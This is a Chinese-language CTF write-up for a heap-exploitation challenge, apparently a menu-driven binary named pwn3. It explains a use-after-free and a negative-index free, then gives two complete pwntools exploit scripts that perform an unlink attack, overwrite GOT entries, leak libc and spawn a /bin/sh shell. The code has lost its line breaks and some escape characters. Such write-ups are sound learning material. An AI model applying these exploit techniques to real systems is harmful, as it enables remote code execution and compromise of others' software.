查询题目保护开启,发现只开了NX,未开启RELRO和PIE,思路可以从修改got表展开。
ida装载分析程序执行流程,main函数发现是一个常规的菜单类题目,推测为堆相关题目。
Malloc函数。分配最大不超过4096,且如果大小超过112就直接放入堆区,否则先存入栈区,再拷贝到堆区。存在结构体保存堆大小、堆指针以及标记是否分配。
Delete函数。直接删除,并没有判断标记是否被删除。删除后标记置0,但是未进行指针置0,存在uaf情况,可利用点为double free。观察没有判断输入为负的情况,可能存在问题。
Edit函数。判断是否被释放,未被释放才可以编辑。向堆区输入长度为申请时结构体保存的长度的字符串。
Show功能无效
利用思路:
从free函数分析来看,首先未判断free的块号是否为负,可能存在释放后再申请内存不缺定的情况,可能分配到关键地方。
使用free(-2)会释放保存堆块大小数组的内存地址,再申请即可申请回来该地址从而进行修改。
上图即是保存申请堆块大小的数组内容,是一个size为20的堆块。
至于为什么要free(-2),我们从free函数的汇编代码分析,我们重点关注输入和free之间发生了什么。从下图中看出,首先比较输入是否小于4,接着将输入逻辑左移4位后值为-32,即0x20。因此执行汇编代码后释放的为0x6020c0,即保存堆大小的内存区域。
由于该块大小为0x20,即属于fastbin,我们可以释放后再申请同样大小的堆块即可返回该内存区域。通过下图的payload修改chunk0地址为0x100,用于覆盖chunk1。
接着我们可以编辑chunk0,我们在chunk0中伪造一个chunk,其状态为释放,fd和bk指针指向0x6020e0,该值保存的为申请的堆块指针。我们利用该指针进行unlink检查的绕过,执行完unlink后该值会被改为0x6020e0-0x18,即0x6020c8。这时,当我们再次编辑chunk0时,我们编辑的实际地址为0x6020c8,我们可以通过该地址溢出控制后面地址。
现在,我们在编辑chunk0即从0x6020c8开始编辑,通过覆盖修改结构体的值与是否分配的标记。
现在我们还缺少system的地址。我们通过修改free函数为puts函数来打印出puts的真实地址。这里有个坑点需要注意,在修改got的值时,不能用sendline函数,也就是说不能在末尾自动加xa0,会出错,因此需要将edit函数做修改,使得发送的内容为io.send(content)。
这之后,我们还缺少“/bin/sh”字符串,观察程序,我们发现atoi函数需要我们输入参数,而调用system函数也需要我们输入参数,因此我们把atoi函数改为system函数,并发送/bin/sh字符串。这里不知道为什么执行完上述free(1)后竟然自动recv了剩下的字符,没办法用edit,只能手写一下。
完整exp如下:
1 #!/usr/bin/env python 2 # coding=utf-8 3 4 from pwn import * 5 DEBUG = True 6 7 if DEBUG: 8 io = process('./pwn3') 9 libc = ELF('./ctf.so.6') 10 context.log_level = 'debug' 11 else: 12 io = remote('172.168.17.2',10001) 13 14 def welcome(): 15 io.recvuntil('$ ') 16 io.sendline('frdqy') 17 18 def add(size,index,content): 19 io.recv() 20 io.sendline('1') 21 io.recv(1024) 22 io.sendline(str(size)) 23 io.recv(1024) 24 io.sendline(str(index)) 25 io.recv(1024) 26 io.sendline(str(content)) 27 28 def free(index): 29 io.recv() 30 io.sendline('2') 31 io.recv(1024) 32 io.sendline(str(index)) 33 34 def edit(index,content): 35 io.recv() 36 io.sendline('3') 37 io.recv(1024) 38 io.sendline(str(index)) 39 io.recv(1024) 40 io.send(content) 41 42 system_off = libc.symbols['system'] 43 puts_off = libc.symbols['puts'] 44 g_point = 0x6020e0 #保存申请堆块的结构体 45 fd = g_point-0x18 #unlink绕过检查 46 bk = g_point-0x10 #unlink绕过检查 47 free_got = 0x602018 48 puts_got = 0x602020 49 atoi_got = 0x602058 50 puts_plt = 0x4006d0 51 52 def exp(): 53 welcome() 54 add(0x80,0,'a'*0x80) 55 add(0x80,1,'b'*0x80) 56 57 #gdb.attach(io) 58 free(-2) #释放后在申请会返回到保存堆块大小的数组内存上 59 60 payload = '' 61 payload += p32(0x80*2) 62 payload += p32(0x80) 63 payload += p32(0) 64 payload += p32(0) 65 add(20,2,payload) #修改已申请的堆块大小分别为0x100、0x80,填充剩下的值 66 67 #溢出块0 68 payload = '' 69 payload += p64(0) #chunk0 pre_size 70 payload += p64(0x81)#chunk0 size 71 payload += p64(fd) #chunk0 fd 72 payload += p64(bk) #chunk0 bk 73 payload += 'a'*(0x80-32) 74 payload += p64(len(payload)) #chunk1 pre_size 75 payload += p64(0x90) #chunk1 size 76 edit(0,payload) 77 78 #unlink 79 free(1) 80 81 #再编辑chunk0,实际编辑的就是g_point - 0x18的值,可以覆盖到保存堆指针的结构体 82 payload = '' 83 payload += p64(0) 84 payload += p64(0) 85 payload += p64(0) 86 payload += p64(free_got) #第一项修改为free_got 87 payload += p64(1) 88 payload += p64(puts_got) #第二项修改为puts_got 89 payload += p64(1) 90 payload += p64(atoi_got) #第三项修改为atoi_got 91 payload += p64(1) 92 edit(0,payload) 93 94 #此时在编辑chunk0、chunk1、chunk2即可修改对应的函数值 95 #修改free_got的值为puts从而泄漏计算出libc加载地址 96 edit(0,p64(puts_plt)) 97 98 #打印puts_got的值 99 free(1) 100 puts_addr =u64(io.recv()[0:6]+'x00x00') 101 system_addr = puts_addr - puts_off + system_off 102 103 #将atoi改为system 104 #edit(2,p64(system_addr)) 105 io.sendline('3') 106 io.recv() 107 io.sendline('2') 108 io.recv() 109 io.sendline(p64(system_addr)) 110 111 #输入/bin/sh 112 io.sendline('/bin/sh') 113 io.interactive() 114 115 exp()
解法二:double free
本解法不使用上述free(-2)这种操作,本方法更贴近于通用处理free后未置0的情况。
当你申请两个chunk后全部释放在申请两倍大小的chunk,此时glibc会返回给你初始chunk的地址,而由于free未置0,可以执行double free操作,通过第二次申请回来的大块修改原来释放的小块,在进行double free第二块(注意free的chunk不能在free链首),即可造成unlink,其余的操作与上述相同。
完整exp如下:
1 #!/usr/bin/env python 2 # coding=utf-8 3 from pwn import * 4 import sys 5 DEBUG = True 6 if DEBUG: 7 io = process('./pwn3') 8 context.log_level = 'debug' 9 else: 10 io = remote(sys.argv[1], int(sys.argv[2])) 11 12 def welcome(): 13 io.recvuntil('name: $') 14 io.send('pediy') 15 16 def create(index,size,content): 17 io.recvuntil('********* $') 18 io.send('1') 19 io.recvuntil('Input size ') 20 io.send(str(size)) 21 io.recvuntil('Input cun ') 22 io.send(str(index)) 23 io.recvuntil('Input content ') 24 io.send(content) 25 def delete(index): 26 io.recvuntil('********* $') 27 io.send('2') 28 io.recvuntil('Chose one to dele ') 29 io.send(str(index)) 30 31 def edit(index,content): 32 io.recvuntil('********* $') 33 io.send('3') 34 io.recvuntil('to edit ') 35 io.send(str(index)) 36 io.recvuntil('the content ') 37 io.send(content) 38 39 def exp(): 40 system_off = 0x45390 41 puts_off = 0x6f690 42 got_addr = 0x602018 43 p_addr = 0x602100 44 puts_plt = 0x4006d0 45 46 welcome() 47 create(0,0x20,'/bin/shx00') 48 49 create(2,0x100,'BBBB') 50 create(1,0x100,'CCCC') 51 #gdb.attach(io) 52 delete(2) 53 delete(1) 54 55 payload = '' 56 payload += p64(0) 57 payload += p64(0x101) 58 payload += p64(p_addr-0x18) 59 payload += p64(p_addr-0x10) 60 payload += 'a'*(0x100-4*8) 61 payload += p64(0x100) 62 payload += p64(0x110) 63 64 create(2,0x210,payload) 65 #unlink 66 delete(1) 67 #*p = p-0x18 = 0x602100-0x18 = 0x6020e8 68 payload = '' 69 payload += p64(1) #0保存/bin/sh 70 payload += p64(got_addr) #1--free() 71 payload += p64(1) 72 payload += p64(got_addr+8) #2--puts() 73 payload += p64(1) 74 75 #修改所有数组的堆块指针为got表函数指针 76 edit(2,payload) 77 78 #free-->puts 79 edit(1,p64(puts_plt)) 80 81 #puts(puts_got) 82 delete(2) 83 puts_addr = io.recv(6) 84 85 system_addr = u64(puts_addr+'x00'*2)-puts_off+system_off 86 87 edit(1,p64(system_addr)) #将free修改为system函数 88 89 #free chunk0实际system,且参数为/bin/sh 90 delete(0) 91 io.interactive() 92 93 exp()